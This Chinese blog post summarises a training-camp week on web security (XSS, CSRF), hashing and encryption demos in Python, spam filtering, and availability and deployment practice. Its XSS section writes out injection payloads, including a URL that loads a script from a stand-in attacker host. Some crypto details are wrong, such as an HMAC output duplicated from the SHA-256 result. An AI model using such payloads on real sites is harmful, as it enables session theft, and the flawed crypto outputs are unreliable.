写点什么

极客大学 - 架构师训练营 第十一周总结

用户头像
9527
关注
发布于: 2020 年 12 月 04 日



第十一周 安全稳定



阅读开源代码,把里面对你有用的关键代码移植到你的项目中,而不是直接引用开源组件(太厚重),这样可以使你的工作量更加看起来突出饱满更有技术含量,在老板、同事面前可以装X, 你懂的。。。



例如,开源的 Web 应用防火墙 ModSecurity,把里面的正则表达式(久经考验的宝藏)拿到你的项目中来,这样就可以快速拥有检测恶意攻击的能力,而且可以让你的代码看起来很高大上。因为这些正则表达式已经经过十几、几十年的实践检验了——站在巨人的肩膀上。



Web攻击与维护

近年来,黑客利用网站操作系统和Web服务器的漏洞,如XSS漏洞、SQL注入漏洞等获取Web服务器的操作权限,由此导致的网页篡改、机密数据外泄等安全事件频繁发生,带来隐私泄露和经济损失等问题。根据2019 年上半年CNCERT数据显示:境内约 2.6 万个网站被植入后门,同比增长约1.2倍,被篡改网站数量为4万个,其中被篡改政府网站数量为222个。

百分之八九十以上的互联网攻击,都是三种XSS攻击,SQL注入攻击以及CSRF跨站脚本请求伪造攻击。



XSS攻击例子



“XSS是跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。”

举一个简单的例子,就是留言板。我们知道留言板通常的任务就是把用户留言的内容展示出来。正常情况下,用户的留言都是正常的语言文字,留言板显示的内容也就没毛病。然而这个时候如果有人不按套路出牌,在留言内容中丢进去一行



<script>alert(“hey!you are attacked”)</script>



那么留言板界面的网页代码就会变成形如以下:



<html>
<head>
<title>留言板</title>
</head>
<body>
<div id=”board”
<script>alert(“hey!you are attacked”)</script>
</div>
</body>
</html>

那么这个时候问题就来了,当浏览器解析到用户输入的代码那一行时会发生什么呢?答案很显然,浏览器并不知道这些代码改变了原本程序的意图,会照做弹出一个信息框。就像这样。

XSS攻击的危害
  • 通过 document.cookie 盗取 cookie中的信息

  • 使用 js或 css破坏页面正常的结构与样式

  • 流量劫持(通过访问某段具有 window.location.href 定位到其他页面)

  • dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。并且通过携带过程的 cookie信息可以使服务端返回400开头的状态码,从而拒绝合理的请求服务。

  • 利用 iframe、frame、XMLHttpRequest或上述 Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作,并且攻击者还可以利用 iframe,frame进一步的进行 CSRF 攻击。

  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力。

XSS攻击的类型

反射型XSS攻击

反射型XSS漏洞常见于通过URL传递参数的功能,如网站搜索,跳转等。由于需要用户主动打开恶意的URL才能生效,攻击者往往会结合多种手段诱导用户点击。比如下面的URL:

Copy
http://x.x.x.x:8080/dosomething?message="<script src="http://www.hacktest.com:8002/xss/hacker.js"></script>"

或者

http://localhost/test.php?param=<script>alert(/xss/)</script>



POST的内容也可以触发反射型XSS,只不过它的触发条件比较苛刻(构建表单提交页面,并引导用户点击),所以非常少见。



反射型XSS的攻击步骤

  1. 攻击者构造出特殊的URL,其中包含恶意代码.

  2. 用户打开有恶意代码的URL时,网站服务器端将恶意代码从URL取出,拼接在HTML返回给浏览器.

  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也会被执行。

  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户行为,调用目标网站接口执行攻击者指定的操作。



防御反射型XSS攻击

对输入检查

  • 对请求参数进行检查,一旦发现可疑的特殊字符就拒绝请求。需要注意的是用户可以绕过浏览器的检查,直接通过Postman等工具进行请求,所以这个检查最好前后端都做。

对输出进行转义再显示

  • 通过上面的介绍可以看出,反射型XSS攻击要进行攻击的话需要在前端页面进行显示。所以在输出数据之前对潜在的威胁的字符进行编码、转义也是防御XSS攻击十分有效的措施。比如下面的方式:

存储型XSS攻击

恶意脚本永久存储在目标服务器上。当浏览器请求数据时,脚本从服务器传回并执行,影响范围比反射型和DOM型XSS更大。存储型XSS攻击的原因仍然是没有做好数据过滤:前端提交数据至服务器端时,没有做好过滤;服务端在按受到数据时,在存储之前,没有做过滤;前端从服务器端请求到数据,没有过滤输出。

比较常见的场景是,黑客写下一篇包含有恶意JavaScript代码的博客文章,文章发表后,所有访问该博客的用户,都会在他们的浏览器中执行这段恶意js代码。



存储型XSS的攻击步骤

  1. 攻击者将恶意代码提交到目标网站的数据库中。

  2. 用户打开目标网站时,网站服务端将恶意代码从数据库中取出,拼接在HTML中返回给浏览器。

  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。

  4. 恶意代码窃取用户数据并发送到攻击者的网站,或冒充用户行为,凋用目标网站接口执行攻击者指定的操作.

这种攻击常见于带有用户保存数据的网站功能,如论坛发帖,商品评论,用户私信等。

预防存储型XSS攻击

预防存储型XSS攻击也是从输入和输出两个方面来考虑。

  • 服务器接收到数据,在存储到数据库之前,进行转义和过滤危险字符;

  • 前端接收到服务器传递过来的数据,在展示到页面前,先进行转义/过滤;

不论是反射型攻击还是存储型,攻击者总需要找到两个要点,即“输入点”与"输出点",也只有这两者都满足,XSS攻击才会生效。“输入点”用于向 web页面注入所需的攻击代码,而“输出点”就是攻击代码被执行的地方。

DOM型XSS

DOM型XSS攻击,实际上就是前端javascript代码不够严谨,把不可信的内容插入到了页面,在使用.innerHTML、.outerHTML、.appendChild、document.write()等API时要特别小心,不要把不可信的数据作为HTML插入到页面上,尽量使用.innerText、.textContent、.setAttribut()等.

DOM型XSS攻击步骤

1.攻击者构造出特殊数据,其中包含恶意代码。

2.用户浏览器执行了恶意代码

3.恶意窃取用户数据并发送到攻击者的网站,或冒充用户行为,调用目标网站接口执行攻击者指定的操作.

DOM型XSS攻击中,取出和执行恶意代码由浏览器端完成,属于前端javascript自身的安全漏洞.

简单总结

CSRF攻击
  • CSRF全称为跨站请求伪造(Cross-site request forgery),是一种网络攻击方式,也被称为 one-click attack 或者 session riding。

  • CSRF攻击利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。

CSRF攻击一般流程
  1. 用户登录、浏览并信任正规网站WebA,同时,WebA通过用户的验证并在用户的浏览器中产生Cookie。

  2. 攻击者WebB通过在WebA中添加图片链接等方式诱导用户User访问网站WebB。

  3. 在用户User被诱导访问WebB后,WebB会利用用户User的浏览器访问第三方网站WebA,并发出操作请求。

  4. 用户User的浏览器根据WebB的要求,带着步骤一中产生的Cookie访问WebA。

  5. 网站WebA接收到用户浏览器的请求,WebA无法分辨请求由何处发出,由于浏览器访问时带上用户的Cookie,因此WebA会响应浏览器的请求,如此一来,攻击网站WebB就达到了模拟用户操作的目的。

CSRF攻击防护
  • 只使用JSON API

  • 使用JavaScript发起AJAX请求是限制跨域的,并不能通过简单的 <form> 表单来发送JSON,所以,通过只接收JSON可以很大可能避免CSRF攻击。

  • 验证HTTP Referer字段

  • 根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如上文中用户User想要在网站WebA中进行转账操作,那么用户User

  • 在请求地址中添加takon验证

  • CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对。



其他攻击和漏洞
  • Error Code: Web 服务器输出的错误信息,能帮助黑客寻找系统漏洞

  • HTML 注释:显示在客户端 HTML 中的注释给黑客攻击造成便利

  • 文件上传:上传可执行文件可能危及后台程序

  • 路径遍历:URL 中显示的相对路径,能帮助黑客程序遍历未开放的目录和文件

Web 应用防火墙



安全架构:加密与解密

MD5、SHA、HMAC这三种加密算法,可谓是非可逆加密,就是不可解密的加密方法,我们称之为单向加密算法。我们通常只把他们作为加密的基础。单纯的以上三种的加密并不可靠, 除此之外BASE64编码算法不算是真正的加密算法。



单向散列

单向散列加密算法常用于提取数据,验证数据的完整性。发送者将明文通过单向加密算法加密生成固定长度的密文串,然后将明文和密文串传递给接收方。接收方在收到报文后,将解明文使用相同的单向加密算法进行加密,得出加密后的密文串。随后与发送者发送过来的密文串进行对比,若发送前和发送后的密文串相一致,则说明传输过程中数据没有损坏;若不一致,说明传输过程中数据丢失了。其次也用于密码加密传递存储。单向加密算法只能用于对数据的加密,无法被解密,其特点为固定长度输出、雪崩效应。



单项散列加密的特性是:

  • 根据任意长度的信息计算固定长度的散列值

  • 能快速计算散列值

  • 消息不同散列值不同

  • 通过散列值不能反算出消息

实际应用:

  • 重要信息密文存储(密码+盐后再进行散列计算,存储后可以防止字典攻击)

  • 检测软件是否篡改

  • 基于口令的加密

  • 消息认证码

  • 数字签名

  • 伪随机生成器

  • 一次性口令

import hashlib
# MD5
# MD5严格意义上来说,不是编码也不是加密,而是摘要算法,也叫做哈希算法和散列算法,
# 它的典型应用是:防止篡改和校验数据。
# 无论是多长的输入,MD5都会输出长度为128bits的一个串 (通常用16进制表示为32个字符)。
# 需要注意的是:摘要算法是不可以逆的。通过加密后的数据是不能得到原始数据的。
Hash = hashlib.md5()
Hash.update(b"Hello world")
print(Hash.hexdigest())
# 3e25960a79dbc69b674cd4ec67a72c62
# SHA1
# SHA1和MD5一样,也是摘要算法,但是SHA1的安全性更强,同时还有SHA256,SHA512等,
# 区别就是长度不一样,越长越安全但是速度越来越慢。对于长度小于2 ^ 64 位的消息,
# SHA1会产生一个160位的消息摘要。基于MD5、SHA1的信息摘要特性以及不可逆(一般而言),
# 可以被应用在检查文件完整性以及数字签名等场景。
Sha1 = hashlib.sha1()
Sha1.update(b"Hello world")
print(Sha1.hexdigest())
# 7b502c3a1f48c8609ae212cdfb639dee39673f5e
# SHA2
Sha2 = hashlib.sha256()
Sha2.update(b"Hello world")
print(Sha2.hexdigest())
# 64ec88ca00b268e5ba1a35678a1b5316d212f4f366b2477232534a8aeca37f3c
# HMAC
# HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code),
# HMAC运算利用哈希算法(MD5、SHA1等),以一个密钥和一个消息为输入,生成一个消息摘要作为输出
import hmac
message = b"Hello world"
key = b"secret"
h = hmac.new(key, message, digestmod='sha256')
print(h.hexdigest())
# 64ec88ca00b268e5ba1a35678a1b5316d212f4f366b2477232534a8aeca37f3c



对称加密

对称加密就是最传统的加密计算:加密和解密使用同一个密钥。加密解密过程:

  1. 明文->密钥加密->密文

  2. 密文->密钥解密->明文

对称加密算法的优点是算法公开、计算量小、加密速度快、加密效率高,通常在消息发送方需要加密大量数据时使用。由于加解密使用的是同一个密钥,因此如何把密钥安全地传递到解密者手上就成了必须要解决的问题。

from cryptography.fernet import Fernet
key = Fernet.generate_key()
print(key.decode('utf-8'))
f = Fernet(key)
password = 'hello'
token = f.encrypt(password.encode('utf-8'))
print(token.decode('utf-8'))
password = f.decrypt(token)
print(password.decode('utf-8'))
# Output
fXGQHJpPD8zew1DXNp0iLLlvTl-l5cpudOFu1jpS7T4=
gAAAAABfysHjIFnYhks5WzVmXJyEDKAs2zcuKu_E206jkm-vVIilJa6-hP-7AjyqiIpUte9_q1MX5k77DN81U_X6UWO9QmPjMA==
hello



非对称加密

对称加密算法又称现代加密算法。非对称加密算法需要一对密钥:公开密钥和私有密。如果用公开密钥对数据进行加密,只有用对应的私有密钥才能解密。如果用私有密钥对数据进行加密,只有用对应的公开密钥才能解密。算法强度复杂,安全性依赖于算法与密钥,但是加密解密速度慢。常用的场景有:登陆认证、数字签名、数字证书等等。

import rsa
# Generate 512 bit key pairs
pub_key, priv_key = rsa.newkeys(512)
print(f'pub_key = {pub_key}')
print(f'priv_key = {priv_key}')
# Encrypt
letter = "This is a new book!"
cryto_info = rsa.encrypt(letter.encode(('utf-8')), pub_key)
print(f'encryped_msg = {cryto_info}')
# Decrupt
decrypted_letter = rsa.decrypt(cryto_info, priv_key)
print(f'decrypted_letter = {decrypted_letter.decode("utf-8")}')
# Output
pub_key = PublicKey(11073514369102481208848558067751922249558774108775007602856835770432791166392060374988856632291235313032819298989376506988290490136986501047864034500391389, 65537)
priv_key = PrivateKey(11073514369102481208848558067751922249558774108775007602856835770432791166392060374988856632291235313032819298989376506988290490136986501047864034500391389, 65537, 1856596668869464020672718556669638855580081631860167287794542189076636239968104609840907085109235812652841207023778485142211858783306967053863733585724417, 7055541278484583962817648147470416733093193370410340559582845566095303986749093277, 1569477653382943968089772953162530917724187772829205669225488013895489857)
encryped_msg = b'N=\xb8\xe2S\x91\xa1\xbb!\x1fV\x14\x0b\xfb8\x16\x13\xac\xba\x84b\x01\x0b\xd7A0\xc50\xe3\x1aY\x86\xde\xc5\xcb\x7f\xb9\xd0K\x11\xdb\xbfQ\x98\xe2DC\xe7[x\xe3\xb29\r\x86>\x9aF\\\x86\xf6\x9a\xe9\xc4'
decrypted_letter = This is a new book!



密钥安全管理与加解密服务系统架构

密钥被切成多分存储。

密钥服务拼接密钥,使用加密算法进行加密。

应用服务器调用加密接口。



安全架构: 反垃圾与风控

反垃圾邮件

电子邮件是较常用的网络应用之一,已经成为网络交流沟通的重要途径。但是,垃圾邮件(spam)烦恼着大多数人,调查显示,93%的被调查者都对他们接收到的大量垃圾邮件非常不满。一些简单的垃圾邮件事件也造成了很有影响的安全问题。日益增加的垃圾邮件会造成1年94亿美元的损失(来自chinabyte上一则新闻的数据),在一些文章表明,垃圾邮件可能会花费一个公司内每个用户600到1000美元。



过滤

过滤(Filter)是一种相对来说最简单却很直接的处理垃圾邮件技术。这种技术主要用于接收系统(MUA,如OUTLOOK EXPRESS或者MTA,如sendmail)来辨别和处理垃圾邮件。从应用情况来看,这种技术也是使用最广泛的,比如很多邮件服务器上的反垃圾邮件插件、反垃圾邮件网关、客户端上的反垃圾邮件功能等,都是采用的过滤技术。



黑白名单

黑名单(Black List)和白名单(White List)。分别是已知的垃圾邮件发送者或可信任的发送者IP地址或者邮件地址。有很多组织都在做*bl(block list),将那些经常发送垃圾邮件的IP地址(甚至IP地址范围)收集在一起,做成block list,比如spamhaus的SBL(Spamhaus Block List),一个BL,可以在很大范围内共享。许多ISP正在采用一些组织的BL来阻止接收垃圾邮件。白名单则与黑名单相反,对于那些信任的邮件地址或者IP就完全接受了。



HASH技术

HASH技术是邮件系统通过创建HASH来描述邮件内容,比如将邮件的内容、发件人等作为参数,最后计算得出这个邮件的HASH来描述这个邮件。如果HASH相同,那么说明邮件内容、发件人等相同。这在一些ISP上在采用,如果出现重复的HASH值,那么就可以怀疑是大批量发送邮件了。



智能和概率系统

广泛使用的就是贝叶斯(Bayesian)算法,可以学习单词的频率和模式,这样可以同垃圾邮件和正常邮件关联起来进行判断。这是一种相对于关键字来说,更复杂和更智能化的内容过滤技术。





贝叶斯分类算法

一号箱子放有红色球和白色球各20个,二号箱子放有白色球10个,红色球30个,现在随机挑选一个箱子,取出来一个球的颜色是红色的,请问这个球来自一号箱子的概率是多少?





布隆过滤器黑名单



高可用: 可用性度量

可用性指标

业界通常用多少个 9 来衡量网站的可用性,如是 4 个 9,即服务 99.99% 可用,只有 0.01% 的时间不可用,也就是一年中只有大约 53 分钟不可用。

  • 网站年度可用性指标 = ( 1 - 网站不可用时间/年度总时间) * 100%

  • 网站不可用时间(故障时间)= 故障修复时间点 - 故障发现(报告)时间点

故障分类管理

故障分类管理通常与考评挂钩,通过故障等级确定严重性,并对当事人按一定权重扣分,扣分多了就直接滚蛋



故障处理流程及考核



高可用: 提升系统可用性的架构方案

作业一:https://xie.infoq.cn/article/6cafc9fc96220814d2f2b1343

高可用: 架构运维方案

发布

应用的不断发布,用户需要面对的是每周一到两次的宕机故障。



自动化测试
  • 使用自动化测试来进行回归测试,确认已有的功能没有被破坏。

  • 目前大部分网站都采用 Web 自动化测试技术。

手工测试和自动化测试的总体成本



  • 手工测试:初期成本小,但是增长很快。每次测试成本都比前一次发布的测试成本更高。

  • 自动化测试:前期投资大,后续投入相对便宜。测试已经存在的功能几乎不需要花费任何成本。

  • 随着事件的推移,测试会变得越来越高效,每一次发布测试,已测试的代码和待测试的代码之比都在增加。最终,会达到一个平衡点,然后自动化测试的总体成本会低于手工测试的成本。

自动化部署



持续部署三步走

持续集成

  • 允许工程师随时向公共分支提交代码,并 立即 进行自动化测试。

持续交付

  • 除了跑单元测试即软件打包,持续交付机制会将软件部署到各种测试环境中

持续部署

  • 代码在没有人工干预的情况下被测试、构建、部署并推送到生产环境。

持续部署流程



预发布验证

即使经过严格的测试,软件部署到线上服务器之后还是会经常出现各种问题,主要原因还是测试环境和线上环境并不相同,特别是应用需要依赖的其他服务,如数据库,缓存、公共业务服务等。这些问题都有可能导致应用故障。



因此在网站发布的时候,先发布到预发布机器上,确认没问题再正式发布。

预发布的机器没有配置再负载均衡服务器上,外部用户无法访问。



代码版本控制

Single Source Of Truth.

如何进行代码管理,既能保证代码发布版本的稳定正确,同时又能保证不同团队的开发互不影响。

  • 主干开发、分支发布

  • 主干代码反映目前整个应用的状态,一目了然,便于管理和控制,也利于持续集成。

  • 分支开发、主干发布

  • 主干上的代码永远是最新发布的版本

  • 各个分支独立进行,互不干扰

自动化发布

多个代码分支合并会主干可能会发生冲突(conflict)



灰度发布

将集群服务器分成若干部分,每天只发布一部分服务器,观察运行稳定没有故障,第二天继续发布一部分服务器,持续几天的事件才把整个集群全部发布完毕,期间如果发现问题,就只需要回滚已发布的一部分服务器即可。



网站运行监控

“不允许没有监控的系统上线”

网站运行监控对于网站运维和架构设计优化至关重要,没有监控的网站,犹如盲人骑瞎马,夜半临深渊而不知。生死未卜,提高可用性、减少故障率就更无从做起了。

监控数据采集

广义上的网站监控涵盖所有非直接业务行为的数据采集与管理,包括供数据分析师和产品设计师使用的网站用户行为日志,业务运行数据和系统性能数据等。

用户行为日志收集

用户再浏览器上所作的所有操作,页面访问路径,页面停留时长等,这些数据对统计网站 PV/UV 指标,分析用户行为,优化网站设计,个性化营销与推荐等非常重要。



用户行为日志收集手段有两种

  1. 服务器端日志收集

  2. 客户端浏览器日志收集

  3. 缺点是比较麻烦,需要再页面嵌入特定的 JS 脚本来完成。

服务器性能监控

收集服务器性能指标,如系统 Load,内存占用,磁盘IO,网络IO 等对尽早做出故障预警,及时判断应用状况,防患于未然,将故障扼杀在萌芽时期非常重要。此外根据性能监控数据,运维工程师可以合理安排服务器集群规模,架构师及时改善系统性能及调整系统伸缩性策略。



目前网站 使用比较广泛的开源性能监控工具是 Ganglia, 支持大规模服务器集群,并支持以图形的方式在浏览器展示实时性能曲线。

业务运行数据报告

网站还需要监控一些具体业务场景相关的技术和业务指标,比如缓冲命中率、平均响应延迟时间、每分钟发送邮件数目、待处理的任务总数等。不同于服务器性能监控,网站运维人员可以在初始化系统的时候统一部署,业务运行数据需要在具体程序中采集并报告,汇总后统一显示。

监控管理

监控数据采集后,除了用作系统性能评估、集群规模伸缩性预测等,还可以根据实时监控数据进行风险预警,并对服务器进行失效转移,自动负载调整,最大化利用集群所有机器的资源。

报警

服务器运行正常的情况下,其各项监控指标基本稳定在一个特定水平,如果这些指标超过某个阀值,就意味着系统可能将要出现故障,这时候就需要对相关人员报警,及时采取措施,在故障还未真正发生就将其扼杀在萌芽状态。

监控管理系统可以配置报警阀值和值守人员的联系方式,报警方式除了邮件,即时通讯工具,还可以配置收集短信,语音报警,保证发生报警时,工程师即使在千里之外、夜里睡觉也能及时通知,迅速响应。

自动控制
  • 自动失效转移:除了应用程序访问失败时进行失效转移,监控系统也可以在发现故障的情况下主动通知应用,进行失效转移。

  • 自动扩容:如果因访问压力大而导致服务性能指标下降,监控系统自动触发服务器集群扩容。

  • 自动限流:根据监控指标,自动控制访问流量。



监控系统架构



发布于: 2020 年 12 月 04 日阅读数: 74
用户头像

9527

关注

还未添加个人签名 2020.04.22 加入

还未添加个人简介

评论

发布
暂无评论
极客大学 - 架构师训练营 第十一周总结